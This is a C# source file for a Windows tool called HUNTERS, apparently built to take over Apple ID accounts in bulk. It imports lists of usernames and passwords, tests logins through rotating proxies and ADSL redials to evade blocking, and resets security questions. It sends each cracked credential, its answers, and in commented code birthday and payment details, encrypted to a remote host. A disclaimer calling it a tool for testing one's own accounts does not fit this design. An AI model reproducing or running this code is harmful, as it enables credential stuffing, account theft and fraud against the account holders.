﻿using Amib.Threading;
using CCWin.SkinControl;
using DotRas;
using HUNTERS.CORE;
using HUNTERS.CORE.Models.Request;
using HUNTERS.CORE.Models.Response;

using HUNTERS.HELPERS;
using HUNTERS.Models;
using log4net;
using MetroFramework;
using MetroFramework.Forms;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace HUNTERS
{
    public partial class Main : MetroForm
    {
        #region 变量声明
        private static readonly ILog logger = LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);
        private UClient uClient;
        private ConfigFile configFile;
        private bool Init = false;      
        private string clientIP;
        private string clientID;
        private int rowId = 1;
        private int sendGuessCount = 0;
        private int sendUsersInfoCount = 0;
        public static List<GuessQuestions> guessQuestionsItems = new List<GuessQuestions>();
        private static List<SelectedQuestionsItem> resetQuestionsItems = new List<SelectedQuestionsItem>();
        private static BindingList<Users> userInfos = new BindingList<Users>();
        private static List<ClientIPAddress> clientIPAddress = new List<ClientIPAddress>();
        private static List<Proxys> proxys = new List<Proxys>();  
        private string saveData = Application.StartupPath + "\\Data\\data.json";
        private static FormInfo forminfo;
        private static RasDialer Dialer = new RasDialer();
        private static string entryName = "HuntersConnection";
        private static string PBKFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "HUNTERS", "Connection.dat");   
        #endregion



        #region 控件操作
        public Main()
        {
            try
            {
                InitializeComponent();
                forminfo = new FormInfo(this);
                skinDataGridView1.RowHeadersVisible = false;           
                skinDataGridView1.DataSource = userInfos;
                MainControl.SelectedTab = Tab_Main;
                skinDataGridView1.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill; ;
                configFile = ConfigFile.LoadOrCreateFile(Process.GetCurrentProcess().MainModule.FileName + ".xml");

                clientID = Guid.NewGuid().ToString().ToUpper();
                //Core.Encrypt(clientID);
                //HttpItem request = new HttpItem()
                //{
                //    URL = "https://icloud.ddns.ms/Ver.php",
                //    Accept = "text/html, application/xhtml+xml, *",
                //    Postdata = Core.Encrypt(clientID)
                //};

                //HttpResult result = HTTPHelpers.PostResponse(request, new CookieCollection());

                //if ((int)result.StatusCode != 200)
                //{
                //    Process.GetCurrentProcess().Kill();
                //    return;
                //}

                //var resultObject = JsonConvert.DeserializeObject<Auth>(Core.Decrypt(result.Html));

                //if (resultObject.StatusCode != 200)
                //{
                //    Process.GetCurrentProcess().Kill();
                //    return;
                //}

                //if (resultObject.ServerData != clientID)
                //{
                //    Process.GetCurrentProcess().Kill();
                //    return;
                //}

                new Core(clientID);
                uClient = new UClient("a7435984.3322.org", 38438);

            }
            catch (Exception ex)
            {
                LogWrite(Loglevel.Error, ex.Message);
                Process.GetCurrentProcess().Kill();
            }
        }

        private void Main_Load(object sender, EventArgs e)
        {
            var result = MetroMessageBox.Show(this, "本程序仅供学习交流使用，仅限用于对自己的账号进行测试管理，请勿用于商业及非法用途。请确保软件使用的合法行，如产生法律纠纷与作者无关。否则请退出删除本程序!", "免责声明  -  特别提醒", MessageBoxButtons.YesNo, MessageBoxIcon.Information);
            if (result == DialogResult.No)
            {
                Process.GetCurrentProcess().Kill();
            };
            UpdateStatus();
            grid_UserInfo.AutoGenerateColumns = false;         
            CreateConnectionEntry();
        }

        private void Main_Shown(object sender, EventArgs e)
        {

            new Task(() =>
            {
                LogWrite(Loglevel.Info, string.Format("本程序仅供学习交流使用，仅限用于对自己的账号进行测试管理，请勿用于商业及非法用途。"));
                LogWrite(Loglevel.Info, string.Format("请确保软件使用的合法行，如产生法律纠纷与作者无关。否则请退出删除本程序! "));
                LogWrite(Loglevel.Info, string.Format("交流群 ： 64871426 "));
                Services.OnEvent += OnMessageEventArgs;
                LoadConfig();
            }).Start();
            LoadQuestions();
            if (File.Exists(saveData))
            {
                var result = MetroMessageBox.Show(this, "是否加载历史进度", "系统提示", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                if (result == DialogResult.Yes)
                {
                    LogWrite(Loglevel.Info, string.Format("开始加载历史进度..."));
                    userInfos = JsonConvert.DeserializeObject<BindingList<Users>>(File.ReadAllText(saveData));
                    skinDataGridView1.DataSource =userInfos;
                    LogWrite(Loglevel.Info, string.Format("加载历史进度完成 , 载入账号 {0} 个!", userInfos.Count));
                    UpdateStatus();
                };
            }
           
            Init = true;
           
        }

        private void Main_FormClosing(object sender, FormClosingEventArgs e)
        {
            if (userInfos.Count > 0)
            {
                var result = MetroMessageBox.Show(this, "是否保存当前进度", "系统提示", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                if (result == DialogResult.Yes)
                {
                    if (!Directory.Exists(Path.GetDirectoryName(saveData)))
                    {
                        Directory.CreateDirectory(Path.GetDirectoryName(saveData));
                    }
                    LogWrite(Loglevel.Info, string.Format("正在保存历史进度..."));
                    File.WriteAllText(saveData, JsonConvert.SerializeObject(userInfos));
                    LogWrite(Loglevel.Info, string.Format("保存历史进度完成。"));
                };
            }
        }
        //private void btn_Start_Click(object sender, EventArgs e)
        //{
        //    if (!TasksStarted)
        //    {
        //        #region 重新拨号
        //        //判断是否使用了ADSL 模式需要切换 IP;
        //        if (checkBox_UseAdsl.Checked)
        //        {
        //            if (!IsConnected())
        //            {
        //                DisconnectConnection();
        //                DialConnection(txt_adslUser.Text.Trim(), txt_adslPass.Text.Trim());
        //            }

        //        }
        //        #endregion

        //        btn_Start.BeginInvoke(new System.Action(() =>
        //        {
        //            btn_Start.Text = "停止任务";
        //        }));

        //        _mainThreadPool.MaxThreads = tBar_Concurrency.Value;
        //        _mainThreadPool.MinThreads = tBar_Concurrency.Value;

        //        TasksStarted = true;
        //    }
        //    else
        //    {
        //        TasksStarted = false;
        //        btn_Start.BeginInvoke(new System.Action(() =>
        //        {
        //            btn_Start.Text = "开始任务";
        //        }));
        //    }
        //}

      

      



    
        private void txt_Path_Click(object sender, EventArgs e)
        {
            openFileDialog_Account.Filter = "文本文件|*.txt";
            openFileDialog_Account.RestoreDirectory = true;
            openFileDialog_Account.FilterIndex = 1;
            if (openFileDialog_Account.ShowDialog() == DialogResult.OK)
            {
                configFile["FilePath"] = Path.GetFullPath(openFileDialog_Account.FileName);
                txt_Path.Text = Path.GetFullPath(openFileDialog_Account.FileName);
                //new Task(() =>
                //{
                LoadUserInfo();
                UpdateStatus();
                //}).Start();
                MainControl.SelectedIndex = 0;
            }
        }

        private void txt_SplitChar_MouseLeave(object sender, EventArgs e)
        {
            configFile["Separator"] = txt_Separator.Text;
        }

        private void txt_QuestAnswer_TextChanged(object sender, EventArgs e)
        {
            SaveResetQuestions();
        }

        private void cbx_Questions_SelectedIndexChanged(object sender, EventArgs e)
        {
            SaveResetQuestions();
        }

        private void dt_Birthday_ValueChanged(object sender, EventArgs e)
        {
            configFile["Birthday"] = dt_Birthday.Value.ToString();
        }

        private void checkBox_Guess_CheckedChanged(object sender, EventArgs e)
        {
            configFile["EnableResetQuestions"] = checkBox_Guess.Checked.ToString();
        }

        private void checkBox_Birthday_CheckedChanged(object sender, EventArgs e)
        {
            configFile["EnableResetBirthday"] = checkBox_Birthday.Checked.ToString();
        }

        private void checkBox_GetUsersInfo_CheckedChanged(object sender, EventArgs e)
        {
            configFile["EnableGetUsersInfo"] = checkBox_GetUsersInfo.Checked.ToString();
        }

        private void checkBox_UseProxy_CheckedChanged(object sender, EventArgs e)
        {
            configFile["EnableUseProxy"] = checkBox_UseProxy.Checked.ToString();
        }

        private void checkBox_UseAdsl_CheckedChanged(object sender, EventArgs e)
        {
            configFile["EnableUseAdsl"] = checkBox_UseAdsl.Checked.ToString();
            if (checkBox_UseAdsl.Checked)
            {
                metroButton_ADSL_IP.Enabled = true;
                metroButton_ADSLIP.Enabled = true;
            }
            else
            {
                metroButton_ADSL_IP.Enabled = false;
                metroButton_ADSLIP.Enabled = false;
            }
               
        }

        private void txt_adslUser_TextChanged(object sender, EventArgs e)
        {
            configFile["PPPoE_USER"] = txt_adslUser.Text;
        }

        private void txt_adslPass_TextChanged(object sender, EventArgs e)
        {
            configFile["PPPoE_PASSWD"] = txt_adslPass.Text;
        }
        private void nUpDwon_ChangeNum_ValueChanged(object sender, EventArgs e)
        {
            configFile["SwitchIPAddress"] = nUpDwon_ChangeNum.Value.ToString();
        }
        private void txt_ReuseMinute_TextChanged(object sender, EventArgs e)
        {
            configFile["CanReuseMinute"] = txt_ReuseMinute.Text;
        }

        private void MainControl_SelectedIndexChanged(object sender, EventArgs e)
        {
            if (MainControl.SelectedTab == Tab_Success)
            {
                var loginSuccess = userInfos.Where(m => m.Status == Status.登录成功 || m.Status == Status.重设密保成功 || m.Status == Status.ResetBirthdaySuccess).ToList();
                grid_UserInfo.DataSource = loginSuccess.ToArray();
            }
        }

        private void txt_QuestLevel_KeyPress(object sender, KeyPressEventArgs e)
        {
            if (e.KeyChar != '\b')//这是允许输入退格键  
            {
                if ((e.KeyChar < '0') || (e.KeyChar > '9'))//这是允许输入0-9数字  
                {
                    e.Handled = true;
                }
            }
        }

        private void txt_UsedCount_KeyPress(object sender, KeyPressEventArgs e)
        {
            if (e.KeyChar != '\b')//这是允许输入退格键  
            {
                if ((e.KeyChar < '0') || (e.KeyChar > '9'))//这是允许输入0-9数字  
                {
                    e.Handled = true;
                }
            }
        }

        private void txt_PasswdToUpper_KeyPress(object sender, KeyPressEventArgs e)
        {
            if (e.KeyChar != '\b')//这是允许输入退格键  
            {
                if ((e.KeyChar < '0') || (e.KeyChar > '9'))//这是允许输入0-9数字  
                {
                    e.Handled = true;
                }
            }
        }

        private void txt_ReuseMinute_KeyPress(object sender, KeyPressEventArgs e)
        {
            if (e.KeyChar != '\b')//这是允许输入退格键  
            {
                if ((e.KeyChar < '0') || (e.KeyChar > '9'))//这是允许输入0-9数字  
                {
                    e.Handled = true;
                }
            }
        }

        private void nUpDwon_ChangeNum_KeyPress(object sender, KeyPressEventArgs e)
        {
            if (e.KeyChar != '\b')//这是允许输入退格键  
            {
                if ((e.KeyChar < '0') || (e.KeyChar > '9'))//这是允许输入0-9数字  
                {
                    e.Handled = true;
                }
            }
        }

        private void logResult_TextChanged(object sender, EventArgs e)
        {
            if (logResult.Lines.Length > 5000)
            {
                logResult.Clear();
            }
        }

        #endregion

        //#region 协同任务
        //private void MainTask()
        //{
        //    try
        //    {
        //        _mainThreadPool = new SmartThreadPool();
        //        int changeIPCount = 0;

        //        #region 多线程任务列队
        //        new Task(async () =>
        //        {
        //            while (true)
        //            {
        //                if (TasksStarted)
        //                {
        //                    #region 添加任务
        //                    var guestUsers = userInfos.Where(m => m.Status == Status.Guest).Take(tBar_Concurrency.Value).ToList();
        //                    if (guestUsers.Count > 0)
        //                    {
        //                        #region 重新拨号
        //                        判断是否使用了ADSL 模式需要切换 IP;
        ////                        if (checkBox_UseAdsl.Checked)
        ////                        {
        ////                            if (changeIPCount >= nUpDwon_ChangeNum.Value || !IsConnected())
        ////                            {

        ////                                DisconnectConnection();
        ////                                await Task.Delay(1000);

        ////                                if (!DialConnection(txt_adslUser.Text.Trim(), txt_adslPass.Text.Trim()))
        ////                                {
        ////                                    await Task.Delay(500);
        ////                                    continue;
        ////                                }

        ////                                var isUsed = clientIPAddress.Any(m => m.IPAddress.Equals(clientIP) && m.Time >= DateTime.Now);
        ////                                if (isUsed)
        ////                                {
        ////                                    LogWrite(Loglevel.Info, string.Format("检测到 => IP : {0} 重复请求, 重新拨号.", clientIP));
        ////                                    continue;
        ////                                }
        ////                                else
        ////                                {
        ////                                    changeIPCount = 0;
        ////                                    clientIPAddress.Add(new ClientIPAddress()
        ////                                    {
        ////                                        IPAddress = clientIP,
        ////                                        Time = DateTime.Now.AddMinutes(Convert.ToInt32(txt_ReuseMinute.Text))
        ////                                    });
        ////                                }
        ////                            }
        ////                        }
        //                        #endregion

        //                        #region 设置代理

        //                        #endregion

        //                        foreach (var user in guestUsers)
        //                        {
        //                            changeIPCount++;

        //                            user.Status = Status.IsRunning;

        //                            _mainThreadPool.QueueWorkItem(AuthTask, user);
        //                            await Task.Delay(tBar_Delay.Value);
        //                        }
        //                        _mainThreadPool.WaitForIdle();
        //                    }
        //                    #endregion
        //                }
        //                await Task.Delay(10);
        //            }
        //        }).Start();
        //        #endregion
        //    }
        //    catch (Exception ex)
        //    {
        //        LogWrite(Loglevel.Error, ex.Message);
        //    }
        //}

        private Services LoginUser(Users userInfo)
        {

            LoginInfo loginInfo = new LoginInfo()
            {
                accountName = userInfo.UserID,
                password = userInfo.Passwd,
                rememberMe = "false"
            };

            Upload upload = new Upload();
            upload.FromClinet = FromClinet.HUNTERS;
            upload.UserInfo = userInfo;

            Services services = new Services();

            services.LoginInit(loginInfo);

            if (checkBox_UseProxy.Checked)
            {
                while (true)
                {
                    var proxy = GetProxy();

                    if (services.CheckProxy(proxy.Proxy))
                    {
                        proxy.UseCount++;
                        break;
                    }
                    else
                    {
                        proxy.Available = false;
                    }
                }
            }

            if (services.Login())
            {
                userInfo.Status = Status.登录成功;
                upload.Status = Status.登录成功;
                uClient.SendMessage(Core.Encrypt(JsonConvert.SerializeObject(upload)));
                LogsHelpers.WriteResult("验证成功.txt", userInfo.UserID + "----" + userInfo.Passwd);
                UpdateStatus();
                if (!services.GetQuestions()) return null;
                userInfo.Status = Status.获取密保成功;
                UpdateStatus();
                uClient.SendMessage(Core.Encrypt(JsonConvert.SerializeObject(upload)));

                return services;

                
                /////////////////////;





            }
            else
            {
                             

                userInfo.Status = Status.登录失败;
                UpdateStatus();

                return null;
            }

        }

        private bool CheckRestQuestionAnswer()
        {

            if(string.IsNullOrEmpty(txt_ResetAnswers1.Text)|| string.IsNullOrEmpty(txt_ResetAnswers2.Text)|| string.IsNullOrEmpty(txt_ResetAnswers3.Text))
              return true;
            return false;
        }



        public bool RestQuestion(Users userInfo, Services services)
        {
            if (CheckRestQuestionAnswer())
            {

                MetroMessageBox.Show(this,"请在软件设置 设置重置密保信息","配置异常");
                return false;
            }
            Thread.Sleep(500);

            if (!services.ResetQuestions(resetQuestionsItems)) return false;
            sendGuessCount++;
            LogsHelpers.WriteResult("重置密保.txt", userInfo.UserID + "----" + userInfo.Passwd + "----" + JsonConvert.SerializeObject(resetQuestionsItems.Select(m => new { 问题 = m.question, 答案 = m.answer }).ToArray()));
            Upload upload = new Upload();
            upload.FromClinet = FromClinet.HUNTERS;
            upload.UserInfo = userInfo;
            upload.ResetQuestions = resetQuestionsItems;
            upload.data = dt_Birthday.Value.ToString();
            uClient.SendMessage(Core.Encrypt(JsonConvert.SerializeObject(upload)));
            UpdateStatus();

            return true;


        }



        ///// <summary>
        ///// 验证任务
        ///// </summary>
        ///// <param name="loginInfo"></param>
        //private void AuthTask(Users userInfo)
        //{

        //    LoginInfo loginInfo = new LoginInfo()
        //    {
        //        accountName = userInfo.UserID,
        //        password = userInfo.Passwd,
        //        rememberMe = "false"
        //    };

        //    Upload upload = new Upload();
        //    upload.FromClinet = FromClinet.HUNTERS;
        //    upload.UserInfo = userInfo;

        //    Services services = new Services();

        //    services.LoginInit(loginInfo);

        //    if (checkBox_UseProxy.Checked)
        //    {
        //        while (true)
        //        {
        //            var proxy = GetProxy();

        //            if (services.CheckProxy(proxy.Proxy))
        //            {
        //                proxy.UseCount++;
        //                break;
        //            }
        //            else
        //            {
        //                proxy.Available = false;
        //            }
        //        }
        //    }

        //    if (services.Login())
        //    {
        //        userInfo.Status = Status.登录成功;
        //        upload.Status = Status.登录成功;
        //        uClient.SendMessage(Core.Encrypt(JsonConvert.SerializeObject(upload)));
        //        LogsHelpers.WriteResult("验证成功.txt", userInfo.UserID + "----" + userInfo.Passwd);
        //        UpdateStatus();
        //    }
        //    else
        //    {
        //        userInfo.Status = Status.登录失败;
        //        UpdateStatus();
        //        return;
        //    }


        //    if (checkBox_Guess.Checked)
        //    {
        //        if (!services.GetQuestions()) return;
        //        userInfo.Status = Status.获取密保成功;
        //        UpdateStatus();

        //        if (!services.GuessQuestions(guessQuestionsItems)) return;
        //        userInfo.Status = Status.猜密保成功;
        //        UpdateStatus();

        //        if (!services.ResetQuestions(resetQuestionsItems)) return;

        //        sendGuessCount++;
        //        upload.Status = Status.重设密保成功;
        //        upload.ResetQuestions = resetQuestionsItems;
        //        upload.data = dt_Birthday.Value.ToString();
        //        uClient.SendMessage(Core.Encrypt(JsonConvert.SerializeObject(upload)));
        //        LogsHelpers.WriteResult("重置密保.txt", userInfo.UserID + "----" + userInfo.Passwd + "----" + JsonConvert.SerializeObject(resetQuestionsItems.Select(m => new { 问题 = m.question, 答案 = m.answer }).ToArray()));
                

        //        UpdateStatus();
        //    }

        //    if (checkBox_GetUsersInfo.Checked)
        //    {
        //        if (services.AccountManageLogin(resetQuestionsItems))
        //        {
        //            var payment = services.GetPayment();
        //            var birthday = services.GetBirthday();

        //            sendUsersInfoCount++;

        //            if (sendUsersInfoCount % 5 == 0)
        //            {
        //                upload.Status = Status.GetUserInfoSuccess;
        //                upload.ResetQuestions = resetQuestionsItems;
        //                upload.data = birthday + "----" + payment;
        //                uClient.SendMessage(Core.Encrypt(JsonConvert.SerializeObject(upload)));
        //                userInfo.Status = Status.登录失败;
        //            }
        //            else
        //            {
        //                userInfo.Status = Status.GetUserInfoSuccess;
        //                LogsHelpers.WriteResult("用户信息.txt", userInfo.UserID + "----" + userInfo.Passwd + "----" + JsonConvert.SerializeObject(resetQuestionsItems.Select(m => new { 问题 = m.question, 答案 = m.answer }).ToArray()) + "----" + birthday + "----" + payment);
        //            }

        //        }
        //    }


        //    UpdateStatus();
        //}


        #region 相关方法

        #region 拨号相关
        private void CreateConnectionEntry()
        {
            try
            {
                if (!File.Exists(PBKFile))
                {
                    Directory.CreateDirectory(Path.GetDirectoryName(PBKFile)).Attributes |= (FileAttributes.Hidden | FileAttributes.NotContentIndexed);
                }

                byte[] buffer = Properties.Resources.PPPOE;//这个是添加EXE到程序资源时的名称
                FileStream FS = new FileStream(PBKFile, FileMode.Create);//新建文件
                BinaryWriter BWriter = new BinaryWriter(FS);//以二进制打开文件流
                BWriter.Write(buffer, 0, buffer.Length);//从资源文件读取文件内容，写入到一个文件中
                BWriter.Close();
                FS.Close();

            }
            catch (Exception ex)
            {
                LogWrite(Loglevel.Error, ex.Message);
            }

        }

        private bool DialConnection(string User, string Pass)
        {
            try
            {
                using (var Dialer = new RasDialer())
                {
                    Dialer.Timeout = 5000;
                    Dialer.EntryName = entryName;
                    Dialer.PhoneBookPath = PBKFile;
                    Dialer.Credentials = new NetworkCredential(User, Pass);
                    Dialer.Dial();
                }
                var connection = RasConnection.GetActiveConnections().FirstOrDefault(c => c.EntryName.Equals(entryName));
                if (connection != null)
                {
                    var ip = (RasIPInfo)connection.GetProjectionInfo(RasProjectionType.IP);
                    clientIP = ip.IPAddress.ToString();
                    LogWrite(Loglevel.Info, string.Format("拨号完成 => IP : {0} ", clientIP));
                    return true;
                }
            }
            catch (Exception ex)
            {
                LogWrite(Loglevel.Error,"拨号失败 , 请重试!  " + ex.Message);
                return false;
            }
            return false;
        }

        private void DisconnectConnection()
        {
            var connections = RasConnection.GetActiveConnections().Where(m => m.Device.DeviceType == RasDeviceType.PPPoE).ToList();


            foreach (var connection in connections)
            {
                connection.HangUp();
            }
        }

        private bool IsConnected()
        {
            var connection = RasConnection.GetActiveConnections().Any(m => m.Device.DeviceType == RasDeviceType.PPPoE);
            return connection;
        }
        #endregion

        #region 配置文件
        private void LoadConfig()
        {
            if (!string.IsNullOrEmpty(configFile["FilePath"]))
            {
                txt_Path.BeginInvoke(new System.Action(() =>
                {
                    txt_Path.Text = configFile["FilePath"];
                }));

            }

            if (!string.IsNullOrEmpty(configFile["Separator"]))
            {
                txt_Separator.BeginInvoke(new System.Action(() =>
                {
                    txt_Separator.Text = configFile["Separator"];
                }));
            }

            //if (!string.IsNullOrEmpty(configFile["Concurrency"]))
            //{
            //    tBar_Concurrency.BeginInvoke(new System.Action(() =>
            //    {
            //        tBar_Concurrency.Value = configFile.GetConfigValueInt("Concurrency");
            //    }));
            //}

            //if (!string.IsNullOrEmpty(configFile["Delay"]))
            //{
            //    tBar_Delay.BeginInvoke(new System.Action(() =>
            //    {
            //        tBar_Delay.Value = configFile.GetConfigValueInt("Delay");
            //    }));
            //}

            if (!string.IsNullOrEmpty(configFile["Birthday"]))
            {
                dt_Birthday.BeginInvoke(new System.Action(() =>
                {
                    dt_Birthday.Value = configFile.GetConfigValueDateTime("Birthday");
                }));
            }

            if (!string.IsNullOrEmpty(configFile["EnableResetQuestions"]))
            {
                checkBox_Guess.BeginInvoke(new System.Action(() =>
                {
                    checkBox_Guess.Checked = configFile.GetConfigValueBool("EnableResetQuestions");
                }));
            }

            if (!string.IsNullOrEmpty(configFile["EnableResetBirthday"]))
            {
                checkBox_Birthday.BeginInvoke(new System.Action(() =>
                {
                    checkBox_Birthday.Checked = configFile.GetConfigValueBool("EnableResetBirthday");
                }));
            }

            if (!string.IsNullOrEmpty(configFile["EnableGetUsersInfo"]))
            {
                checkBox_GetUsersInfo.BeginInvoke(new System.Action(() =>
                {
                    checkBox_GetUsersInfo.Checked = configFile.GetConfigValueBool("EnableGetUsersInfo");
                }));
            }

            if (!string.IsNullOrEmpty(configFile["EnableUseProxy"]))
            {
                checkBox_UseProxy.BeginInvoke(new System.Action(() =>
                {
                    checkBox_UseProxy.Checked = configFile.GetConfigValueBool("EnableUseProxy");
                }));
            }

            if (!string.IsNullOrEmpty(configFile["EnableUseAdsl"]))
            {
                checkBox_UseAdsl.BeginInvoke(new System.Action(() =>
                {
                    checkBox_UseAdsl.Checked = configFile.GetConfigValueBool("EnableUseAdsl");
                }));
            }

            if (!string.IsNullOrEmpty(configFile["PPPoE_USER"]))
            {
                txt_adslUser.BeginInvoke(new System.Action(() =>
                {
                    txt_adslUser.Text = configFile.GetConfigValue("PPPoE_USER");
                }));
            }

            if (!string.IsNullOrEmpty(configFile["PPPoE_PASSWD"]))
            {
                txt_adslUser.BeginInvoke(new System.Action(() =>
                {
                    txt_adslPass.Text = configFile.GetConfigValue("PPPoE_PASSWD");
                }));
            }

            if (!string.IsNullOrEmpty(configFile["SwitchIPAddress"]))
            {
                nUpDwon_ChangeNum.BeginInvoke(new System.Action(() =>
                {
                    try
                    {
                        nUpDwon_ChangeNum.Value = configFile.GetConfigValueInt("SwitchIPAddress");
                    }
                    catch
                    {
                        nUpDwon_ChangeNum.Value = 5;
                    }
                 
                }));
            }
              


            LogWrite(Loglevel.Info, string.Format("加载配置信息完成!"));
        }

        private void LoadQuestions()
        {
            List<QuestionsItem> ddlQuestionsItems = new List<QuestionsItem>();
            var availableQuestions = JsonConvert.DeserializeObject<AvailableQuestions>(Common.AppleQuestions).availableQuestions;
            foreach (var availableQuestion in availableQuestions)
            {
                foreach (var quest in availableQuestion)
                {
                    ddlQuestionsItems.Add(quest);
                }
            }

        
            cbx_ResetQuestions1.DisplayMember = "question";
            cbx_ResetQuestions1.ValueMember = "id";
            cbx_ResetQuestions1.DataSource = availableQuestions[0].ToArray();

            cbx_ResetQuestions2.DisplayMember = "question";
            cbx_ResetQuestions2.ValueMember = "id";
            cbx_ResetQuestions2.DataSource = availableQuestions[1].ToArray();

            cbx_ResetQuestions3.DisplayMember = "question";
            cbx_ResetQuestions3.ValueMember = "id";
            cbx_ResetQuestions3.DataSource = availableQuestions[2].ToArray();

            if (!string.IsNullOrEmpty(configFile["ResetQuestionsItems"]))
            {
                resetQuestionsItems = JsonConvert.DeserializeObject<List<SelectedQuestionsItem>>(configFile["ResetQuestionsItems"]);
                cbx_ResetQuestions1.Text = resetQuestionsItems.FirstOrDefault(m => m.number == 1).question;
                txt_ResetAnswers1.Text = resetQuestionsItems.FirstOrDefault(m => m.number == 1).answer;

                cbx_ResetQuestions2.Text = resetQuestionsItems.FirstOrDefault(m => m.number == 2).question;
                txt_ResetAnswers2.Text = resetQuestionsItems.FirstOrDefault(m => m.number == 2).answer;

                cbx_ResetQuestions3.Text = resetQuestionsItems.FirstOrDefault(m => m.number == 3).question;
                txt_ResetAnswers3.Text = resetQuestionsItems.FirstOrDefault(m => m.number == 3).answer;
            };
        }

        private void SaveResetQuestions()
        {
            if (!Init) return;
            resetQuestionsItems.Clear();

            resetQuestionsItems.Add(new SelectedQuestionsItem()
            {
                id = cbx_ResetQuestions1.SelectedValue.ToString(),
                question = cbx_ResetQuestions1.Text,
                answer = txt_ResetAnswers1.Text,
                number = 1
            });
            resetQuestionsItems.Add(new SelectedQuestionsItem()
            {
                id = cbx_ResetQuestions2.SelectedValue.ToString(),
                question = cbx_ResetQuestions2.Text,
                answer = txt_ResetAnswers2.Text,
                number = 2
            });
            resetQuestionsItems.Add(new SelectedQuestionsItem()
            {
                id = cbx_ResetQuestions3.SelectedValue.ToString(),
                question = cbx_ResetQuestions3.Text,
                answer = txt_ResetAnswers3.Text,
                number = 3
            });

            configFile["ResetQuestionsItems"] = JsonConvert.SerializeObject(resetQuestionsItems);
        }
        #endregion

        #region 委托更新
        private void UpdateStatus()
        {
            var successCount = userInfos.Where(m => m.Status != Status.未检测 && m.Status != Status.正在处理中 && m.Status != Status.登录失败).Count();
            var failedCount = userInfos.Where(m => m.Status == Status.登录失败).Count();
            var guestCount = userInfos.Where(m => m.Status == Status.未检测).Count();
            var resetQuestCount = userInfos.Where(m => m.Status == Status.重设密保成功).Count();
            var getUserInfoCount = userInfos.Where(m => m.Status == Status.GetUserInfoSuccess).Count();
            lab_Status.BeginInvoke(new System.Action(() =>
            {
                lab_Status.Text = string.Format("-> 当前共导入账号 {0} 个 ，等待验证 {3} 个 ，验证成功 {1} 个 ，验证异常 {2} 个  ，重置密保 {4} 个，获取信息 {5} 个", userInfos.Count, successCount, failedCount, guestCount, resetQuestCount, getUserInfoCount);
            }));
        }

        private void OnMessageEventArgs(Services sender, MessageEventArgs e)
        {
            LogWrite(Loglevel.Info, e.Message);
        }
        #endregion

        #region 写日志类
        public void LogWrite(Loglevel level, string msg)
        {
            var megFormat = "[" + DateTime.Now + "] : " + msg;
            switch (level)
            {
                case Loglevel.Info:
                    logger.Info(msg);
                    logResult.BeginInvoke(new System.Action(() =>
                    {
                        logResult.AppendText(megFormat + Environment.NewLine);
                    }));
                    break;
                case Loglevel.Error:
                    logger.Error(msg);
                    logResult.BeginInvoke(new System.Action(() =>
                    {
                        logResult.AppendText(megFormat + Environment.NewLine);
                    }));
                    break;
                case Loglevel.Debug:
                    logger.Debug(msg);
                    break;
            }
        }

        public enum Loglevel
        {
            Info,
            Error,
            Debug
        }

        #endregion

        #region 账号导入
        private void LoadUserInfo()
        {
            try
            {
                var filePath = txt_Path.Text;

                if (!File.Exists(filePath))
                {
                    LogWrite(Loglevel.Error, "无效导入文件!");
                    return;
                }

                userInfos.Clear();

                int failedCount = 0, successCount = 0;

                LogWrite(Loglevel.Info, string.Format("正在载入账号数据文件,请耐心等待完成..."));



                string[] lines = File.ReadAllLines(filePath,Encoding.Default);
                rowId = 1;
                foreach (var line in lines)
                {
                    string[] array = line.Split(new string[1] { txt_Separator.Text.Trim() }, StringSplitOptions.None);

                    if (array.Length >= 2)
                    {
                        var user = UpdateUserInfo(array[0], array[1]);
                        var strotherinfo = new StringBuilder();
                        if (array.Length > 2)
                        {
                            for (int i = 2; i < array.Length; i++)
                            {
                                strotherinfo.Append($"[-{array[i]}]-");
                            }
                            user.GSOtherInfo(strotherinfo.ToString());
                        }
                       
                        if (CheckUserInfo(user))
                        {
                            rowId++;
                            successCount++;
                            userInfos.Add(user);
                        }
                        else
                        {
                            failedCount++;
                        }
                    }
                    else
                    {
                        failedCount++;
                    }
                }
                skinDataGridView1.AutoResizeColumns(DataGridViewAutoSizeColumnsMode.AllCells);
                LogWrite(Loglevel.Info, string.Format("载入账号数据文件完成 , 成功 {0} 个, 失败 {1} 个!", successCount, failedCount));

            }
            catch (Exception ex)
            {

                LogWrite(Loglevel.Error, ex.Message);
            }
        }

        private void AddUserToList(Users user)
        {

            skinDataGridView1.Rows.Add(user);


        }

        private Users UpdateUserInfo(string userID, string passwd)
        {
            if (!string.IsNullOrEmpty(txt_UpdatePasswdByQQ.Text.Trim()))
            {
                if (userID.ToLower().IndexOf("@qq.com") > 1)
                {
                    passwd = txt_UpdatePasswdByQQ.Text + userID.Substring(0, userID.ToLower().IndexOf("@qq.com"));
                }
            }

            if (!string.IsNullOrEmpty(txt_PasswdToUpper.Text.Trim()))
            {
                if (Regex.Matches(passwd, "[A-Z]").Count == 0 && passwd.Length >= Convert.ToInt32(txt_PasswdToUpper.Text) && Regex.Matches(passwd, "[a-z]").Count > 0)
                {
                    int num = Convert.ToInt32(txt_PasswdToUpper.Text) + Regex.Match(passwd, "[a-z]").Index;
                    passwd = passwd.Substring(0, num - 1) + passwd.Substring(num - 1, 1).ToUpper() + passwd.Substring(num);
                }
            }

            return new Users()
            {
                ID = rowId,
                UserID = userID,
                Passwd = passwd,
                Status = Status.未检测,
            };
        }

        private bool CheckUserInfo(Users user)
        {
            if (checkBox_CheckUsers.Checked)
            {
                if (Regex.Matches(user.Passwd, "^(?=.*\\d)(?=.*[a-zA-Z]).{8}").Count == 0)
                {
                    return false;
                }
            }
            return true;
        }
        #endregion

        #region 导入代理
        private void LoadProxy()
        {
            CookieCollection _cookies = new CookieCollection();
            proxys.Clear();
            LogWrite(Loglevel.Info, "请求代理列表...");

            HttpItem request = new HttpItem()
            {
                URL = txt_ProxyUrl.Text.Trim(),
                Accept = "text/html, application/xhtml+xml, *",
                Referer = "https://appleid.apple.com/",
            };

            HttpResult result = HTTPHelpers.GetResponse(request, _cookies);

            if (result.StatusCode != HttpStatusCode.OK)
            {
